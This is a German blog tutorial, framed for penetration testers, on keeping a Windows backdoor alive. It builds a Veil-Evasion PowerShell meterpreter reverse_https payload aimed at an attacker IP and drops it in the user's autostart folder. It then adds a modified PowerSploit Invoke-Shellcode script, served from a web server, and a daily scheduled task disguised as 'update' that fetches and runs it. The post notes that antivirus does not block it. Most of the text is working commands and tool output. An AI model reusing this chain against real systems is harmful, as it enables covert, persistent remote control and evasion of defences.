Windows Backdoors über Scheduled Tasks einrichten – Fun mit Powershell Teil 3

Welcher Penetrationstester hat folgende Situation noch nicht erlebt:  Man versucht in mühsamer Kleinarbeit einen Windows-Host zu penetrieren. Erst nach mehreren Fehlversuchen konnte die Sicherheitsarchitektur überwunden werden. Jetzt gelingt es, über eine Sicherheitslücke Nutzerrechte auf einem System zu erhalten.  Aber plötzlich bricht aus irgendeinem Grund die Verbindung zum Client zusammen. Auch die Sicherheitslücke kann bis zum nächsten Neustart des Gerätes nicht mehr genutzt werden.  Nach dem Neustart stellt man fest, dass die Lücke bereits gepacht ist und auf diesem Weg keine eindringen mehr möglich ist.

In dieser Situation wäre es schön gewesen, wenn man gleich nach Erlangen der Nutzerrechte eine Hintertür (Backdoor) eingerichtet hätte, die sich in bestimmten Zeitabständen selbstständig beim Angreifer meldet und dabei eine permanente Verbindung aufbaut.  In der Fachsprache wird dies auch als „Persistence“ bezeichnet.

In diesem Beitrag möchte ich zeigen, wie eine Backdoor mittels Veil-Evasion erstellt wird und wie  man „Persistence“ über Windows-Autostart bzw. unter Verwendung  von Scheduled Tasks erzeugt.

Schritt 1: – Erzeugen einer Windows Backdoor (Powershell-Skripts) mittels Veil-Evasion

Wer Veil-Evasion auf Kali Linux noch nicht installiert hat, der findet hier eine Anleitung. Darüber hinaus lässt sich die Software auch mittels git auf einem Linux-System einrichten.

Die Windows-Backdoor in Form eines Powershell Skriptes ist nun schnell erstellt. Wir verwenden dazu als Payload powershell/meterpreter/rev_https. Bevor die Batchdatei erstellt werden kann, sind den Variablen LHOST bzw. LPORT noch Werte zuzuordnen, die der Angriffsumgebung entsprechen.  In diesem Fall weisen wir der Variable LHOST die IP-Adresse des Angreifers zu. Praktisch wird der „Opfer“-PC  eine Verbindung zum LHOST aufnehmen, dazu wird der unter LPORT angegeben Port angefragt.  Damit diese Verbindung später auch genutzt werden kann, muss auf dem IT-System des Angreifers ein sogenannter Handler laufen, der die ankommenden Daten entgegennimmt.

=========================================================================
 Veil-Evasion | [Version]: 2.21.4
=========================================================================
 [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================

 Main Menu

  47 payloads loaded

 Available Commands:

  use           Use a specific payload
  info          Information on a specific payload
  list          List available payloads
  update        Update Veil-Evasion to the latest version
  clean         Clean out payload folders
  checkvt       Check payload hashes vs. VirusTotal
  exit          Exit Veil-Evasion

 [menu>>]: use 21

									

Veil-Evasion | [Version]: 2.21.4
=========================================================================
 [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================


 Payload: powershell/meterpreter/rev_https loaded


 Required Options:

 Name      Current Value  Description
 ----      -------------  -----------
 LHOST                       IP of the Metasploit handler
 LPORT             8443      Port of the Metasploit handler
 PROXY             N         Use system proxy settings

 Available Commands:

  set           Set a specific option value
  info          Show information about the payload
  options       Show payload's options
  generate      Generate payload
  back          Go to the main menu
  exit          exit Veil-Evasion

 [powershell/meterpreter/rev_https>>]: set LHOST 95.xx.xx.xx
 [i] LHOST => 95.xx.xx.xx
 [powershell/meterpreter/rev_https>>]: set LPORT 443
 [i] LPORT => 443[powershell/meterpreter/rev_https>>]: generate
									

Mit dem Befehl generate werden die notwendige Skripte erzeugt und in den Verzeichnissen /root/veil-output/source und /root/veil-output/handlers/ abgelegt.

=========================================================================
 Veil-Evasion | [Version]: 2.21.4
=========================================================================
 [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================


 [>] Please enter the base name for output files (default is 'payload'): pill

 Language:    powershell
 Payload:    powershell/meterpreter/rev_https
 Required Options:      LHOST=95.xx.xx.xx  LPORT=443  PROXY=N
 Payload File:    /root/veil-output/source/pill.bat
 Handler File:    /root/veil-output/handlers/pill_handler.rc

 [*] Your payload files have been generated, don't get caught!
 [!] And don't submit samples to any online scanner! ;)

 [>] Press any key to return to the main menu.

									

Schritt 2: – Batch-Datei im Autostartverzeichnis des Nutzers ablegen.

Nun muss nur noch die so erstellte Batch-Datei (in unserem Beispiel pill.bat) im Autostartverzeichnis des Nutzers abgelegt werden. Dazu sollte idealverweise bereits eine Meterpreter-Shell auf dem Opfer-PC verfügbar sein, die uns das Kopieren mittels des Befehls upload ermöglicht. Dies könnte in unserem Beispiel wie folgt aussehen:

screen0

In diesem Beispiel gehen wir davon aus, dass Bob der engemeldetet Nutzer am System ist. Wer angemeldet ist, kann leicht in der Meterpreter-Session mit dem Befehl getuid  herausgefunden werden.

Hinweis: Um den Befehl ordnungsgemäß ausführen zu können, sind jeweils zwei Backslashes im Pfad anzugeben.

Sollte nun die Verbindung aus irgendwelchen Gründen abreißen, so wird beim nächster Neustart die Verbindung zum Angriffssystem wiederhergestellt sobald sich der Nutzer Bob anmeldet.

Der Nachteil liegt hier klar auf der Hand. Erfolgt dieser Neustart nicht, so kann auch keine Verbindung  etabliert werden.

Wer keine Zeit hat zu warten, sollte sich über „Scheduled Tasks“ eine Möglichkeit schaffen, diese Verbindung z.B. stündlich oder täglich aufbauen zu lassen. Dies wird nun in Schritt 3 erläutert.

Schritt 3: – Mit Scheduled Task täglich eine Verbindung aufbauen.

Um dies nutzen zu können, ist ein wenig Vorarbeit notwendig. Wir benötigen einen Webserver und die PowerSploit-Tools. Hierbei handelt es sich um in PowerShell geschrieben Skripte, die Postexploitation auf einem Windows-System wesentlich erleichtern. Wir werden die Funktion Invoke-Shellcode für dieses Vorhaben nutzen.

Den Webserver benötigen wir, um den Shellcode zum Download zur Verfügung zu stellen. Somit sind wir in der Lage, jeden beliebigen Code aus dem Internet herunterzuladen und auf dem Opfer-PC auszuführen. Damit dies gelingt, müssen nur folgende Voraussetzungen erfüllt sein:

Auf dem Client sollte Powershell installiert sein (ab Windows 7 ist das standartmäßig der Fall) und er sollte über einen Zugang zum Internet verfügen.

PowerSploit ist unter Kali 2.0 bereits im Verzeichnis /usr/share/ vorhanden. Wer ein anderes Linux nutzt, sollte das Tool nun mit folgenden Befehlen installieren:

cd /usr/share
git clone https://github.com/PowerShellMafia/PowerSploit.git

									

Nachdem die Daten auf das lokale System kopiert wurden, muss das folgende Skript  noch angepasst werden.

/usr/share/PowerSploit/CodeExecution/Invoke-Shellcode.ps1
									

Dazu kopieren wir die Datei, legen sie unter einem anderen Namen (z.B. neu.ps1) im gleichen Verzeichnis ab und fügen am Ende der Datei folgende Zeile hinzu:

Invoke-Shellcode  –Payload windows/meterpreter/reverse_https  –Lhost  95.xx.xx.xx –Lport 443 –Force;
									

Hierbei ist zu beachten, dass man hier der gleichen Payload einsetzt, der bereits im Schritt 1 verwendet wurde. Auch LHOST und LPORT müssen mit den Angaben aus dem ersten Schritt übereinstimmen.

Als Ergebnis erhält man eine neue Datei (neu.ps1), die auf dem Webserver zum Download bereitgestellt werden kann. Dazu braucht sie nur in das Verzeichnis /var/www/html verschoben werden.

Der nun folgende Test soll sicherstellen, dass bisherigen Einstellungen greifen, das Skript neu.ps1 richtig vom Webserver heruntergeladen und auf dem Zielsystem ausgeführt wird.

Hierzu sollte zunächst auf dem Angriffsystem eine Handler gestartet werden. Hier kann das im Schritt 1 angelegte Skript (in unserem Beispiel/root/veil-output/handlers/pill.rc) verwendet werden. Der Aufruf in der Konsole sieht wie folgt aus:

msfconsole -r /root/veil-output/handlers/pill.rc
									

Auf dem Opfer-PC kann nun in einer Shell das folgende Kommando ausgeführt werden.

screen2

Hinweis: Der zweite Befehl kann entfallen, wenn dieser bereits in die Datei (in unserem Beispiel neu.ps1) integriert wurde.

Als Ergebnis sollte auf dem Angriffssystem nun eine Meterpreter-Session verfügbar sein.

Abschließend erstellen wir mit dem folgenden Befehl einen „Scheduled Task“, der jeden Tag um 12:00 ausgeführt wird. Das dafür notwendige Kommando könnte so aussehen:

screen3

Das folgende Bild zeigt den Aufruf des Kommandos in einer Meterpreter-Session:

schtask1

In der Windows-Aufgabenplanung ist nun eine neue  Aufgabe unter dem Namen „update“ aufgeführt, die täglich um 12:00 Uhr ausgeführt wird und uns die gewünschte Meterpreter-Session liefert. Das auf dem Windows-PC installierte Virenschutzprogramm (in unserem Fall „Avast Business Security“ kann dies nicht verhindern.

schtask2

Schreibe einen Kommentar

Diese Website verwendet Akismet, um Spam zu reduzieren. Erfahre mehr darüber, wie deine Kommentardaten verarbeitet werden.